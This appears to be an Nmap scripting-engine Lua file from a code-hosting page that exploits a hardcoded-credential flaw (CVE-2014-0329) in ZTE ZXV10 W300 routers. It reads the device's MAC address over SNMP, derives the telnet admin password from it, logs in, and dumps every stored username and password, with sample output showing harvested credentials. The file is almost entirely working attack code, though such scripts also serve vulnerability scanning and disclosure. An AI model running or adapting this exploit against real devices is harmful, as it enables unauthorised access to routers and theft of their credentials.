Skip to content
Find file
Fetching contributors…
Cannot retrieve contributors at this time
254 lines (193 sloc) 6.7 KB
local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"
description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit", "intrusive"}
---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT STATE SERVICE
-- 23/tcp open telnet
-- 161/udp open|filtered snmp
--
-- Host script results:
-- | airocon:
-- | VULNERABLE:
-- | ZTE ZXV10 W300 router contains hardcoded credentials
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2014-0329
-- | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- | Description:
-- | ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- | service on the device. The username is "admin" and the password is "XXXXairocon"
-- | where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- | is obtainable over SNMP with community string public.
-- | Disclosure date: 2014-2-3
-- | Exploit results:
-- | admin:1234
-- | support:1234
-- | admin:0E91airocon
-- | References:
-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
-- | http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
-- |_ http://www.kb.cert.org/vuls/id/228886
-- @args community SNMP community (Default: public)
--
---
local DEFAULT_COMMUNITY = "public"
hostrule = function(host)
local snmp_port, telnet_port
snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
if not snmp_port and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
return false
end
telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
if not telnet_port and not telnet_port.state == "open" then
return false
end
return true
end
local get_mac = function(host, community)
local socket, status, response
socket = nmap.new_socket("udp")
socket:set_timeout(5000)
status, response = socket:connect(host, 161)
if not status then
socket:close()
return status, response
end
local payload, request
request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
payload = snmp.encode(snmp.buildPacket(request, 0, community))
status, response = socket:send(payload)
if not status then
socket:close()
return status, response
end
status, response = socket:receive_bytes(1)
if not status then
socket:close()
return status, response
end
socket:close()
local result
result = snmp.fetchFirst(response)
if not result then
return false, "Unexpected response value."
end
return true, stdnse.tohex(result)
end
local dump_creds = function(host, user, password)
local socket, status, response
socket = nmap.new_socket("tcp")
socket:set_timeout(5000)
status, response = socket:connect(host, 23)
if not status then
socket:close()
return status, response
end
local payload
payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"
status, response = socket:send(payload)
if not status then
socket:close()
return status, response
end
status, response = socket:receive_buf("exit", false)
if not status then
socket:close()
return status, response
end
socket:close()
return true, response
end
local parse_response = function(response)
local index
index = string.find(response, "Username +Password +Priority")
if not index then
return false, "Unexpected response value."
end
index = string.find(response, "\r\n", index) + 2
response = string.sub(response, index)
local result, endl, line
result = {}
index = 0
endl = string.find(response, "\r\n", index)
while endl do
line = string.sub(response, index, endl)
line = string.gsub(line, "\r", "")
line = string.gsub(line, "^ +", "")
line = string.gsub(line, " +$", "")
line = string.gsub(line, " +", " ")
local user, pass, prio
for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
local aux = {}
aux['username'] = user
aux['password'] = pass
aux['priority'] = prio
table.insert(result, aux)
end
index = endl + 2
endl = string.find(response, "\r\n", index)
end
return true, result
end
action = function(host)
local vuln = {
title = "ZTE ZXV10 W300 router contains hardcoded credentials",
state = vulns.STATE.NOT_VULN,
IDS = {CVE = 'CVE-2014-0329'},
risk_factor = "High",
scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
},
description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
service on the device. The username is "admin" and the password is "XXXXairocon"
where "XXXX" is the last four characters of the device's MAC address. The MAC address
is obtainable over SNMP with community string public.]],
references = {
"http://www.kb.cert.org/vuls/id/228886",
"http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
},
dates = {
disclosure = {year = 2014, month = 2, day = 3},
},
exploit_results = {},
}
local community, mac, password
local status, response
community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
if host.directly_connected then
mac = stdnse.tohex(host.mac_addr)
else
status, response = get_mac(host, community)
if not status then
return response
end
mac = response
end
password = string.upper(string.sub(mac, 9)) .. "airocon"
status, response = dump_creds(host, "admin", password)
if not status then
return response
end
status, response = parse_response( response )
if not status then
return response
end
vuln.state = vulns.STATE.EXPLOIT
for _, data in pairs(response) do
table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
end
return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end
Something went wrong with that request. Please try again.